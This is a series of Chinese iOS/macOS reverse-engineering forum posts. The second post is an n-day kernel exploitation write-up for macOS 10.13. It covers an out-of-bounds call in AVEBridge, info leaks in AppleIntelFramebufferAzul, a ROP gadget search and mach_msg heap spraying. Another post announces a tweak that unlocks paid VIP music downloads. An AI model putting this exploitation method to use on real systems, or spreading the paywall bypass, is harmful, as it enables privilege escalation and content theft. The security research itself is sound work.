connnection: 8719, selector: 0, input: 0x0, inputCnt: 0,inputStruct: 0x16ba34cf0, inputStructCnt: 96, outputStruct: 0x16ba34b30, outputStructCnt: 72 

接下来需要定位 selector = 0 对应的内核驱动方法实现. 通过使用 iometa -n -bmosv ./kernelcache.release.iphone10.decrypt > IOKitDump.mosv dump 到 IOKit 所有类的关系和 vtable 信息.

通过分析 AGXAcceleratorG10P_B0 继承于 IOGraphicsAccelerator2, 并使用 0xfffffff006d38560 IOGraphicsAccelerator2::newUserClient() 在 Connnect Servevice 时创建 UserClient.

vtab=0xfffffff006fda6a8 size=0x00000c78 meta=0xfffffff0078658a8 parent=0xfffffff007865880 IOGraphicsAccelerator2 (com.apple.iokit.IOAcceleratorFamily2)
     0x460 func=0xfffffff006d38560 overrides=0xfffffff00756cf88 pac=0x0000 IOGraphicsAccelerator2::newUserClient()
signed __int64 __fastcall sub_FFFFFFF006D38560(__int64 a1, __int64 owningTask, __int64 security_id, __int64 type, IOUserClient **handler)
{
... ignore

  switch ( (_DWORD)type_1 )
  {
    case 1:
      v14 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v8 + 0x690LL))(v8);
      v15 = v14;
      if ( v14 )
      {
        if ( sub_FFFFFFF006D23004(v14, 0LL, owningTask_1) & 1 )
          goto LABEL_17;
        goto LABEL_22;
      }
      break;
    case 2:
      v16 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v8 + 0x688LL))(v8);
      v15 = v16;
      if ( v16 )
      {
        if ( sub_FFFFFFF006D30AE4(v16, 0LL, owningTask_1) & 1 )
          goto LABEL_17;
        goto LABEL_22;
      }
      break;
    case 3:

... ignore
}

由于之前 IOServiceOpen 是以 type = 2 打开的服务, 根据 IDA 里的伪代码, 调用 vtable 里 offset == 0x688 的虚方法, 这里

vtab=0xfffffff006fe0068 size=0x00001998 meta=0xfffffff0078666b0 parent=0xfffffff007866540 AGXAcceleratorG10 (com.apple.AGXG10P)
     0x688 func=0xfffffff006d4bf74 overrides=0xfffffff006d38994 pac=0x0000 AGXAcceleratorG10::fn_0x688()
_QWORD *sub_FFFFFFF006D4BF74()
{
  _QWORD *v0; // x19

  v0 = (_QWORD *)OSObject::operator new(336LL);
  sub_FFFFFFF006D7ABD4();
  *v0 = &off_FFFFFFF006FE41F8;
  OSMetaClass::instanceConstructed(&AGXSharedUserClient::gMetaClass);
  return v0;
}

直接找 AGXSharedUserClientexternalMethod 看看怎么实现的 dispatch.

vtab=0xfffffff006fe41f8 size=0x00000150 meta=0xfffffff007866a98 parent=0xfffffff0078657b8 AGXSharedUserClient (com.apple.AGXG10P)
     0x538 func=0xfffffff006d768f8 overrides=0xfffffff006d32098 pac=0x0000 AGXSharedUserClient::externalMethod()

可以看到之后分发给了父类 IOAccelSharedUserClient2, 接着跟踪, 可以看到 IOAccelSharedUserClient2externalMethod 则是直接转交给 IOUserClientexternalMethod 进行处理.

vtab=0xfffffff006fd9228 size=0x00000150 meta=0xfffffff0078657b8 parent=0xfffffff007646dc8 IOAccelSharedUserClient2 (com.apple.iokit.IOAcceleratorFamily2)
     0x538 func=0xfffffff006d32098 overrides=0xfffffff0075c033c pac=0x0000 IOAccelSharedUserClient2::externalMethod()

这里分两种情况分析 1. w1 == #0 2. w1 != #0, 这里 w1 == selector

1). w1 == #0

经过 CSEL X3, X8, X3, EQ, 会将参数 dipatch 设置为 off_FFFFFFF006FD9A38, 经过 IOUserClient::externalMethod 此时 dipatch == off_FFFFFFF006FD9A38, target == AGXSharedUserClient.

2). w1 != #0

那继续分析 getTargetAndMethodForIndex, 因为在 IOUserClient::externalMethod 会调用到 getTargetAndMethodForIndex 进行 dispatch.

分析 AGXSharedUserClient::getTargetAndMethodForIndex, w2 也就是 selector = #unknown, 直接转发给父类 IOAccelSharedUserClient2::getTargetAndMethodForIndex

vtab=0xfffffff006fe41f8 size=0x00000150 meta=0xfffffff007866a98 parent=0xfffffff0078657b8 AGXSharedUserClient (com.apple.AGXG10P)
     0x5a8 func=0xfffffff006d7691c overrides=0xfffffff006d320bc pac=0x0000 AGXSharedUserClient::getTargetAndMethodForIndex()

通过分析 IOAccelSharedUserClient2::getTargetAndMethodForIndex 发现通过取得 [x0,#0xF0] 中的 IOExternalMethod ** 基址, 之后通过 UMADDL X0, W2, W9, X8 取得对应 selector = #unknown 偏移的 IOExternalMethod *. 究竟 [X0,#0xF0] 里的地址到底指向哪里, 这里可以找找相关的方法实现.

vtab=0xfffffff006fd9228 size=0x00000150 meta=0xfffffff0078657b8 parent=0xfffffff007646dc8 IOAccelSharedUserClient2 (com.apple.iokit.IOAcceleratorFamily2)
     0x5a8 func=0xfffffff006d320bc overrides=0xfffffff0075c1824 pac=0x0000 IOAccelSharedUserClient2::getTargetAndMethodForIndex()

通过对 AGXSharedUserClient 和它父类 IOAccelSharedUserClient2 部分方法进行查看, 最后发现在 0xfffffff006d30e28 初始化了 [X0,#0xF0]qword_FFFFFFF006FD9888.

vtab=0xfffffff006fd9228 size=0x00000150 meta=0xfffffff0078657b8 parent=0xfffffff007646dc8 IOAccelSharedUserClient2 (com.apple.iokit.IOAcceleratorFamily2)
     0x5c8 func=0xfffffff006d30e28 overrides=0x0000000000000000 pac=0x0000 IOAccelSharedUserClient2::fn_0x5c8()

这里因为 selector == 0 所以这里直接分析 sub_FFFFFFF006D31FB4 即可

但是由于 iOS Kernel 里很多驱动的数据结构是未知的, 分析难度很大.

1.3. 内核驱动函数分析.

这里将部分符号化的驱动处理函数. 由于缺乏 runtime 的分析, 通过上面的静态分析, 这里也只能分析出使用到 AGXResource 等未知内存分布的内核类. 以及会在内核层使用 IOBufferMemoryDescriptor::createMappingInTask 创建内存 mapping, 并将 VirtualAddress 作为 OutputStruct 的第二个成员返回给 Userspace, 这个和我们在 userspace 看到的行为是一样的.

1.4. IOMemoryDescriptor 调用分析

通过查找一些 IOKit 资料/驱动, 在 IOKit 中会大量使用 IOBufferMemoryDescriptor 进行内存页分配,

所以这里对 IOBufferMemoryDescriptor 特别关注下, 这里看下 IOBufferMemoryDescriptor::inTaskWithOptionsoptions

options = input_1->x1.x_1_1_2 | 0x10063; 其中 0x10063 == kIOMemoryKernelUserShared | kIODirectionInOut | kIOMemoryPageable | kIOMemoryPurgeable, 这里通过对比一些 IOKit 驱动, 例如 VMsvga2 等, 发现这个参数仅在 Texture 绘制时出现, 那么是否和这个参数有关, 需要写一个 DemoDriver 测试下, 这里讲 iOS Kernel IOKit 的问题转化为 macOS Kernel IOKit 的问题.

1.5. 利用 DemoDriver 复现问题

// ===== FrameBufffer Test Case =====

IOReturn SharedMemoryAlloc(IOBufferMemoryDescriptor **buffer, IOOptionBits options, unsigned size) {
  IOKIT_AUTO_LOG_FLAG();

  *buffer = IOBufferMemoryDescriptor::inTaskWithOptions(0, options, size, PAGE_SIZE);
  if (!*buffer) {
    IOLog("failed to allocate buffer memory");
    return kIOReturnNoMemory;
  } else {
    return kIOReturnSuccess;
  }
}

IOReturn IOKitDemoDriver::userClientMap(task_t owningTask, DisplayXMap *map, uint32_t *mapSize) {
  IOKIT_AUTO_LOG_FLAG();
  IOReturn kr = kIOReturnSuccess;

  if (!map || !mapSize || *mapSize != sizeof *map)
    kr = kIOReturnBadArgument;

  FrameBuffferEmu *frameBuffer     = new FrameBuffferEmu;
  IOBufferMemoryDescriptor *buffer = frameBuffer->buffer;
  IOOptionBits options;
#if 0
  options = kIOMemoryKernelUserShared | kIODirectionInOut | kIOMemoryPageable | kIOMemoryPurgeable;
#elif 1
  options = kIOMemoryKernelUserShared | kIODirectionInOut | kIOMemoryPageable;
#endif

  kr = SharedMemoryAlloc(&buffer, options, PAGE_SIZE * 500);

#if 0
#elif 1
  options = kIOMapAnywhere;
#endif

  IOMemoryMap *iomap = buffer->createMappingInTask(owningTask, 0, options, 0, 0);

  map->address = iomap->getVirtualAddress();
  return kr;
}

加载刚才写的 IOKitDemoDriver.kext

sudo rm -rf IOKitDemoDriver.kext
sudo chown -R root:wheel IOKitDemoDriver.kext
sudo kextload IOKitDemoDriver.kext
kernel-exploitdeMac:Desktop kernel_exploit$ sudo chown -R root:wheel IOKitDemoDriver.kext
kernel-exploitdeMac:Desktop kernel_exploit$ sudo kextload IOKitDemoDriver.kext

这是增加了这个 flag 之后的调用结果, 很明显, 我们浮现了这个问题.


kernel-exploitdeMac:Desktop kernel_exploit$ ./IOKitDemoClient
[*] IOKitDemoDriver Open Success, Version: 1.1, Task: 0xffffff80123997e8
2019-02-15 00:03:31.787 IOKitDemoClient:footprint: 712 KB, internal: 712 KB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x111984000
2019-02-15 00:03:31.789 IOKitDemoClient:footprint: 3 MB, internal: 4.9 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.789 IOKitDemoClient:footprint: 3 MB, internal: 4.9 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x111b78000
2019-02-15 00:03:31.791 IOKitDemoClient:footprint: 3 MB, internal: 6.9 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.791 IOKitDemoClient:footprint: 3 MB, internal: 6.9 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x111d6c000
2019-02-15 00:03:31.793 IOKitDemoClient:footprint: 3 MB, internal: 8.8 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.793 IOKitDemoClient:footprint: 3 MB, internal: 8.8 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x111f60000
2019-02-15 00:03:31.794 IOKitDemoClient:footprint: 3 MB, internal: 10.8 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.795 IOKitDemoClient:footprint: 3 MB, internal: 10.8 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x112154000
2019-02-15 00:03:31.798 IOKitDemoClient:footprint: 3 MB, internal: 12.7 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.798 IOKitDemoClient:footprint: 3 MB, internal: 12.7 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x112348000
2019-02-15 00:03:31.800 IOKitDemoClient:footprint: 3 MB, internal: 14.7 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.800 IOKitDemoClient:footprint: 3 MB, internal: 14.7 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x11253c000
2019-02-15 00:03:31.802 IOKitDemoClient:footprint: 3 MB, internal: 16.6 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.802 IOKitDemoClient:footprint: 3 MB, internal: 16.6 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x112730000
2019-02-15 00:03:31.804 IOKitDemoClient:footprint: 3 MB, internal: 18.6 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.804 IOKitDemoClient:footprint: 3 MB, internal: 18.6 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x112924000
2019-02-15 00:03:31.806 IOKitDemoClient:footprint: 3 MB, internal: 20.6 MB, purges: 328, purgeable_count:5196
2019-02-15 00:03:31.806 IOKitDemoClient:footprint: 3 MB, internal: 20.6 MB, purges: 328, purgeable_count:5196
[*] userClientMap Address: 0x112b18000
2019-02-15 00:03:31.808 IOKitDemoClient:footprint: 3 MB, internal: 22.5 MB, purges: 328, purgeable_count:5196

以下是移除该 flag 后的调用结果, phys_footprintinternal 相同.

kernel-exploitdeMac:Desktop kernel_exploit$ ./IOKitDemoClient
[*] IOKitDemoDriver Open Success, Version: 1.1, Task: 0xffffff801122c7e8
2019-02-14 23:57:29.417 IOKitDemoClient:footprint: 712 KB, internal: 712 KB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x110584000
2019-02-14 23:57:29.422 IOKitDemoClient:footprint: 4.9 MB, internal: 4.9 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.422 IOKitDemoClient:footprint: 4.9 MB, internal: 4.9 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x110778000
2019-02-14 23:57:29.424 IOKitDemoClient:footprint: 6.9 MB, internal: 6.9 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.425 IOKitDemoClient:footprint: 6.9 MB, internal: 6.9 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x11096c000
2019-02-14 23:57:29.427 IOKitDemoClient:footprint: 8.8 MB, internal: 8.8 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.427 IOKitDemoClient:footprint: 8.8 MB, internal: 8.8 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x110b60000
2019-02-14 23:57:29.428 IOKitDemoClient:footprint: 10.8 MB, internal: 10.8 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.428 IOKitDemoClient:footprint: 10.8 MB, internal: 10.8 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x110d54000
2019-02-14 23:57:29.430 IOKitDemoClient:footprint: 12.8 MB, internal: 12.8 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.430 IOKitDemoClient:footprint: 12.8 MB, internal: 12.8 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x110f48000
2019-02-14 23:57:29.432 IOKitDemoClient:footprint: 14.7 MB, internal: 14.7 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.433 IOKitDemoClient:footprint: 14.7 MB, internal: 14.7 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x11113c000
2019-02-14 23:57:29.434 IOKitDemoClient:footprint: 16.7 MB, internal: 16.7 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.434 IOKitDemoClient:footprint: 16.7 MB, internal: 16.7 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x111330000
2019-02-14 23:57:29.436 IOKitDemoClient:footprint: 18.6 MB, internal: 18.6 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.436 IOKitDemoClient:footprint: 18.6 MB, internal: 18.6 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x111524000
2019-02-14 23:57:29.439 IOKitDemoClient:footprint: 20.6 MB, internal: 20.6 MB, purges: 328, purgeable_count:5180
2019-02-14 23:57:29.439 IOKitDemoClient:footprint: 20.6 MB, internal: 20.6 MB, purges: 328, purgeable_count:5180
[*] userClientMap Address: 0x111718000
2019-02-14 23:57:29.441 IOKitDemoClient:footprint: 22.5 MB, internal: 22.5 MB, purges: 328, purgeable_count:5180

1.6. kIOMemoryPurgeable 作用

对着 xnu-4570.20.62 一顿操作, 发现当存在 kIOMemoryPurgeable 时, 会设置 object->vo_purgeable_owner = ownerkernel_task, 但是这是否就是因为这个愿意导致 phys_footprint 不增加的原因呢, 这里在手动调试下正常情况下 phys_footprint 增加的原因.

1.7. 内核硬断调试

如果没有 kIOMemoryPurgeable, 进程 task 的 phys_footprint 为何增加呢?

这里通过获取进程 task_t task, 对应的保存 phys_footprintle_credit, 并对设置硬件写断点. (注意: lldb 内核调试的时, 硬断会失败, 具体原因由于时间原因尚未深究, 这里可以换成 GDB 或者 IDA remote GDB Debugger 两者是一样的)

p/x &(&(((task_t)0xffffff800fab09b0)->ledger->l_entries[task_ledgers.phys_footprint]))->le_credit

获取到保存 phys_footprintle_credit 后, 在 IDA 进行硬断.

调试器挂载

触发硬断后, 这里直接根据堆栈和调用规约, 根据图中的标注找到 caller. (不可以单步走)

__text:FFFFFF8012606C73 mov     rdi, [r12+168h]                 ; ledger
__text:FFFFFF8012606C7B mov     esi, cs:task_ledgers.iokit_mapped ; entry
__text:FFFFFF8012606C81 mov     rdx, rbx                        ; amount
__text:FFFFFF8012606C84 call    ledger_credit
__text:FFFFFF8012606C89 mov     rdi, [r12+168h]                 ; ledger
__text:FFFFFF8012606C91 mov     esi, cs:task_ledgers.phys_footprint ; entry
__text:FFFFFF8012606C97 mov     rdx, rbx                        ; amount
__text:FFFFFF8012606C9A call    ledger_credit
__text:FFFFFF8012606C9F mov     r9, [rbp+hint_offset]
__text:FFFFFF8012606CA6 mov     r10, qword ptr [rbp+var_68]
__text:FFFFFF8012606CAA mov     r12, [rbp+object]
__text:FFFFFF8012606CB1 test    r15d, r15d
__text:FFFFFF8012606CB4 jz      loc_FFFFFF8012606D8F

通过 lldb 看下对应的源码位置.

(lldb) b 0xFFFFFF8012606C9F
Breakpoint 2: where = kernel.development`vm_map_enter + 5407 [inlined] vm_map_iokit_mapped_region + 48 at vm_map.c:2737, address = 0xffffff8012606c9f

在 xnu 源码里发现实现位置.

1.8. kIOMemoryPurgeable 的对比

最终通过这里的不同点, 确定了问题的发生位置.

1.9. 总结

当调用 glTexImage2D 函数时, iOS 的 AGXAcceleratorG10P_B0 驱动, 会调用 IOBufferMemoryDescriptor::inTaskWithOptions 其中 options0x10063 == kIOMemoryKernelUserShared | kIODirectionInOut | kIOMemoryPageable | kIOMemoryPurgeable, 由于 options 中包含 kIOMemoryPurgeable flag, 导致 object->vo_purgeable_owner 被设置为 kernel_task, 因而当发生 #PFvm_fault 时, 进入 vm_map_enter 函数进行统计的时, 没有将该内存统计给对应进程的 task_t task, 而是统计给 kernel_task.

这里有一篇文章讲解了 为什么 Texture 下要使用 purgeable memory. https://www.khronos.org/registry/OpenGL/extensions/APPLE/APPLE_object_purgeable.txt

Rerfer

https://www.khronos.org/registry/OpenGL/extensions/APPLE/APPLE_object_purgeable.txt

Posts: 1

Participants: 1

Read full topic

Nday漏洞从挖掘到利用

$
0
0

@Peterpan0927 wrote:

0x00.漏洞挖掘

这算是我的一个小练手吧,写的不是很好,主要是思路分享

queryCompletion in AVEBridge

由于com.apple.AVEBridge这个模块中的函数比较少,于是我就写了一个比较小的C语言脚本来Fuzz一下,这个比较简单,所以一下子就找到了:

mov rdi, [rdi+rsi*8+168]
...
call qword ptr [rax+0x1c8]

这里rsi是我们可控的一个参数,这里相当于我们可以劫持控制流做ROP进行提权,但还需要一个信息泄漏作为配合。

ReadRegister32

这是我在另一个模块AppleIntelFramebufferAzul中找到的一个漏洞,因为我的目的很明确,就是需要信息泄漏,所以我就从有类似特征的函数进行入手了,如函数名位Readxxx,有memcpy类似的函数。

这个函数也十分简单:

__int64 __fastcall AppleIntelAzulController::ReadRegister32(...){
    ...
    return *(a2 + a3);
}

通过逆向和调试我找到了这个函数的最上级调用是从IntelFBClientControl::actionWrapper函数开始的,通过调试我们发现传到ReadRegister32的参数a3是用户空间可控的,且没有做任何边界检查,也就是说这个是一个越界读,并且在它的上级函数中发现:

case 0x852:
	*(a5+2) = AppleIntelAzulController::ReadRegister32(*(this+2), *a3);

而这个a5正好是IOConnectCallMethod中要传回用户空间的那个outputStruct的地址,也就是说这是一个信息泄漏

getDisplayPipeCapability

这个是我通过类似的pattern去找到的,也是一个信息泄漏的问题,同样在AppleIntelFramebufferAzul中,首先来看看一部分代码:

//a1是this指针
v5 = *(a1+ 8 * *a2 + 0xf60);
if ( v5 ){
    if( *( v5 + 0x1dc ) && ( ! *(*(v5 + 0x3f70 ) + 0x100 ) ) ){
        memcpy(a3, (v5 + 0x2170), 0x1d8);
        *v3 = *v4
        result = 0;
    }
    else{
        ...
    }
}
else{
    ...
}
return result;

其中a2是我们可控数据且没有做大小检查,a3outputStruct地址,也就是说如果我们进入memcpy分支,同样可以做到一个信息泄漏。

0x01.漏洞利用

这里我用来做提权的有两个漏洞,queryCompletion我们可以通过参数来控制越界call,这个的利用就比较简单,直接通过堆喷构造数据然后泄漏kslide做ROP即可,但是我们在10.13上需要寻找新的gadget,上一次还用的是project-zeropwn4fun上用的一个,一开始我的思路有问题,总想着有这样一个pattern

push rax
...
...
;... is no pop
pop rsp
...
...
;... didn't change rsp
ret

但是这样毫无疑问是自己把自己给框住了,事实上可以存在这样的一种pattern

push rax
pop rsp
...
...
;... didn't change rsp
ret

而且我们的出发点可以放在二进制搜索上,直接从切入一段机器码,不需要理会其上下文,比如我们可以在ida中搜索:

50 5c

然后通过ida的undefinecode来找到我们需要的gadget,这样的话很快就能找到了,但是我因为思路问题卡了两天。

接下来就是需要一个info leak来泄漏kslide了。

我一开始找到的一个infoleakReadRegister32,但是这个限制比较多,只能从一个很靠后的地址往后读,后面基本没有什么有效信息了,也不会有对象来给我们计算kslide。所以我在尝试了一段时间后放弃了

后来我又找到了一个,这个的利用条件相对来说也比较苛刻(我们可以控制*a2):

//a1是this指针
v5 = *(a1+ 8 * *a2 + 0xf60);
if ( v5 ){
    if( *( v5 + 0x1dc ) && ( ! *(*(v5 + 0x3f70 ) + 0x100 ) ) ){
        memcpy(a3, (v5 + 0x2170), 0x1d8);
        *v3 = *v4
        result = 0;
    }
    else{
        ...
    }
}
else{
    ...
}
return result;

从上面可以看到我们需要满足以下几个条件才可以进入memcpy的分支:

  1. v5有效
  2. *(v5+0x1dc)不为0
  3. *(v5 + 0x3f70 )是一个有效内核地址
  4. *(*(v5 + 0x3f70 ) + 0x100 )为0

并且要想泄漏kslide还需要满足一个条件,那就是从(v5 + 0x2170)(v5 + 0x2170 + 0x1d8)的地址上存在着有效数据供我们使用。

我刚一看,就有两个想法:

  1. 在这个对象内部来找,看看有没有合适的,这是最简单的一种做法,后来我在一次实验中在偏移0x1398处找到了符合条件的,当时十分高兴:

    infoleak

    后来想到一个问题,如果这个值超出了对象,那就是我们不可控的了,而且还有一个问题就是就算在对象内,有这么多次的解引用也不一定每次都能满足,我重启后果然失效了,我后来看了一下这个对象的大小就是0x1f60,果然不出所料

  2. 另外一个就是做堆喷,来调偏移,这里我是通过mach_msg来实现的,泄漏分为两步:

    第一次先读回来一个数据,里面泄漏了到底是哪一个消息

    我们释放这个消息,通过一个内核对象占住,第二次读回来,泄漏对象虚表

target on MacOS 10.13 or 10.13.1

exp

poc

具体的还有一些细节问题在poc的注释中做了一些解释

代码放在我的github上了

0x02.参考链接

labs_mwrinfosecurity

mac OS X internals 第九章

NirvanTeam

Posts: 3

Participants: 3

Read full topic

对ios某音乐app的逆向结果尝试

$
0
0

@TouGBao wrote:

最近学习了《ios应用逆向工程》,和刚开始学习《ios应用逆向与安全》,也请教了一些前辈大佬们,结合自己已有的编码基础,于是尝试分析了某ios上的音乐app,写了一遍关于入门做ios小功能性插件的心得,希望分享,希望可以促进ios开发,与安全研究。
实现功能:
普通vip音乐随意品质下载与试听。
分析链接如下:
https://medium.com/@tougbao/ios逆向分析初探-9d4ec60e4b86
开发的deb已上传bigboss,待审核通过。
插件功能:
1.普通用户普通vip音乐随意品质下载与试听。
2.绿钻vip用户壳免费试听下载所有歌曲包括下架歌曲和数字专辑。

Posts: 2

Participants: 2

Read full topic


MonkeyDev安装覆盖问题

$
0
0

@MMP wrote:

刚刚学习MonkeyDev

之前一直用的 theos/bin/nic.pl 来创建Tweak.xm编译

换过来用MonkeyDev编译就犯了个不是BUG的BUG 太马虎了 现在给其他人一个提醒

以为自己那边配置没配置好

仔细重复 https://github.com/AloneMonkey/MonkeyDev/wiki

又看了别人的文章 MonkeyDev报错:ssh -p22 root@xx.xx.xx.xx mkdir -p "/var/root/MonkeyDevPackages"

弄了好久知道哪里出问题

是 control 配置的 Package 和 Name 问题

我 theos/bin/nic.pl control配置是

而MonkeyDev control配置是

习惯用同一个名字 但是Package又不一样不能覆盖安装 就GGl

问题提示 也是很神奇 最关键的一段居然展示不明显

必须展开more 才行

才意识到问题出在哪里

给大家一个提示 如果 control 配置的 name相同 ,Package 就必须相同不然不可能覆盖安装 不同name 就是不同插件

小菜勿喷

Posts: 2

Participants: 2

Read full topic

FakeTouch 模拟点击

$
0
0

@MMP wrote:

刚刚想写了模拟点击的时候 别人推荐用PTFakeTouch

我先咱们这个论坛搜索了下 PTFakeTouch

参考了这个文章所以信息

我在尝试几个模拟点击的方法

比如

和其他材料

总结了下 一个比较容易 快速集成的 法法

就是下面这个大神写的这个文章

我也是用这个方法 比较快的成功的

但是期间也踩了个大坑 现在和大家分享下

看看开始看完这个文字感觉很简单 直接上手整合了

结果直接报错了

27

尝试解决这个问题 结果发生没啥效果 不好解决

后面仔细看了下文章 赫然发现问题所在 仔细看下图就知道了

04

开始我用的是Xcode 模拟器运行Demo生成的 就是Debug-iphonesimulator
文件夹, 生成的 PTFakeTouch.framework 就会报错

而用真机运行则就是Debug-iphoneos文件夹 ,生成的 PTFakeTouch.framework 才是可行的

用这个方法 记得一定要

真机运行!!

真机运行!!

真机运行!!

本人小菜 勿喷谢谢

Posts: 2

Participants: 2

Read full topic

书本实战 1 备忘录 字数统计 10系统实现 characount for Notes 10

$
0
0

@baiqian wrote:

需求: 在IOS10系统上 实现备忘录字数统计功能
环境:5S 10.1.1系统

1. 在界面上显示数字

打印界面UI

Z0041:~ root# ps -e | grep /Applications/
  584 ??         0:07.08 /Applications/MobileMail.app/MobileMail
  686 ??         0:00.36 /Applications/ServerDocuments.app/PlugIns/ServerFileProvider.appex/ServerFileProvider
  896 ??         0:02.39 /Applications/MobileNotes.app/MobileNotes
  912 ttys000    0:00.01 grep /Applications/
Z0041:~ root# 

找到 ICTextView 显示的内容

UIApp.keyWindow.recursiveDescription().toString()

<ICTextView: 0x122031e00; baseClass = UITextView; frame = (0 0; 320 568); 
text = '\u5b9e\u6218\u5907\u5fd8\u5f55iOS\u5907\u5fd8\u5f55\u60f3\u5fc5\u662f\u679c\u7c89\u6700\u719f\u6089\u7684app\u4e4b...'; 
clipsToBounds = YES; gestureRecognizers = <NSArray: 0x17405dc10>;
 layer = <CALayer: 0x1742200e0>; contentOffset: {0, -64}; contentSize: {320, 85}>

通过 nextResponder找到 Controller:ICTextViewController

cy# [#0x122031e00 nextResponder]
#"<ICTextViewController: 0x121e77d90>"

尝试设置:ICTextViewController setTitle:@"ccc"发现无效

然后就想着在 ICTextView 中添加一个Label 来显示

cy# @import mjcript
{}
cy# var lb=[[UILabel alloc] init]
#"<UILabel: 0x121d228b0; frame = (0 0; 0 0); userInteractionEnabled = NO; layer = <_UILabelLayer: 0x174282e40>>"
cy# lb.frame=MJRectMake(265,0,50,20);
{0:{0:265,1:0},1:{0:50,1:20}}
cy# lb.text="20"
"20"
cy# [#0x122031e00 addSubview:lb]

样子的确不咋滴,不过功能实现应该没问题

image

2. 找到数据

查看 ICTextViewController 的头文件,发现textview,那么从控制器就可以直接访问,textview的text的值

@property(retain, nonatomic) ICNote *note; // @synthesize note=_note;
@property(readonly, nonatomic) ICTextView *textView;
cy# var ict=#0x121e77d90
#"<ICTextViewController: 0x121e77d90>"
cy# ict.textView
#"<ICTextView: 0x122031e00; baseClass = UITextView; frame = (0 0; 320 568); text = '\xe5\xae\x9e\xe6\x88\x98\xe5\xa4\x87\xe5\xbf\x98\xe5\xbd\x95\niOS\xe5\xa4\x87\xe5\xbf\x98\xe5\xbd\x95\xe6\x83\xb3\xe5\xbf\x85\xe6\x98\xaf\xe6\x9e\x9c\xe7\xb2\x89\xe6\x9c\x80\xe7\x86\x9f\xe6\x82\x89\xe7\x9a\x84app\xe4\xb9\x8b...'; clipsToBounds = YES; gestureRecognizers = <NSArray: 0x17405dc10>; layer = <CALayer: 0x1742200e0>; contentOffset: {0, -64}; contentSize: {320, 85}>"
cy# ict.textView.text
@"\xe5\xae\x9e\xe6\x88\x98\xe5\xa4\x87\xe5\xbf\x98\xe5\xbd\x95\niOS\xe5\xa4\x87\xe5\xbf\x98\xe5\xbd\x95\xe6\x83\xb3\xe5\xbf\x85\xe6\x98\xaf\xe6\x9e\x9c\xe7\xb2\x89\xe6\x9c\x80\xe7\x86\x9f\xe6\x82\x89\xe7\x9a\x84app\xe4\xb9\x8b\xe4\xb8\x80 "
cy# 

ICTextViewController 中也存在note 数据
查看NotesShared.framework 私有框架下的ICNote 文件,以及 noteData 数据,打印结果,发现其 data 数据是加密的,不知道是不是 文本信息,也尝试浏览其他属性,没有发现可以的数据对象

cy# ict.note
#"<ICNote: 0x170382630> (entity: ICNote; id: 0xd000000000140000 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICNote/p5> ; data: {\n    account = \"0xd0000000000c0004 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICAccount/p3>\";\n    assetCryptoInitializationVector = nil;\n    assetCryptoTag = nil;\n    attachmentViewType = 0;\n    attachments =     (\n    );\n    cloudState = \"0xd000000000140002 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICCloudState/p5>\";\n    creationDate = \"2019-03-25 05:54:21 +0000\";\n    cryptoInitializationVector = nil;\n    cryptoIterationCount = 0;\n    cryptoSalt = nil;\n    cryptoTag = nil;\n    cryptoWrappedKey = nil;\n    encryptedValuesJSON = nil;\n    folders =     (\n        \"0xd000000000040008 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICFolder/p1>\"\n    );\n    foldersModificationDate = nil;\n    identifier = \"73463C4C-2A5F-4C74-BF8E-4E438C41DF60\";\n    integerId = nil;\n    isPasswordProtected = 0;\n    lastViewedModificationDate = \"1983-11-07 17:37:00 +0000\";\n    legacyContentHashAtImport = nil;\n    legacyImportDeviceIdentifier = nil;\n    legacyManagedObjectIDURIRepresentation = nil;\n    legacyModificationDateAtImport = nil;\n    legacyNoteIntegerId = 0;\n    legacyNoteWasPlainText = nil;\n    markedForDeletion = 0;\n    minimumSupportedNotesVersion = 0;\n    modificationDate = \"2019-03-27 08:14:38 +0000\";\n    needsInitialFetchFromCloud = 0;\n    needsToBeFetchedFromCloud = nil;\n    needsToSaveUserSpecificRecord = 1;\n    noteData = \"0xd000000000080006 <x-coredata://4277D251-A868-4E71-BC72-C0449A57CDC1/ICNoteData/p2>\";\n    noteHasChanges = 0;\n    passwordHint = nil;\n    serverRecord = nil;\n    serverShare = nil;\n    snippet = 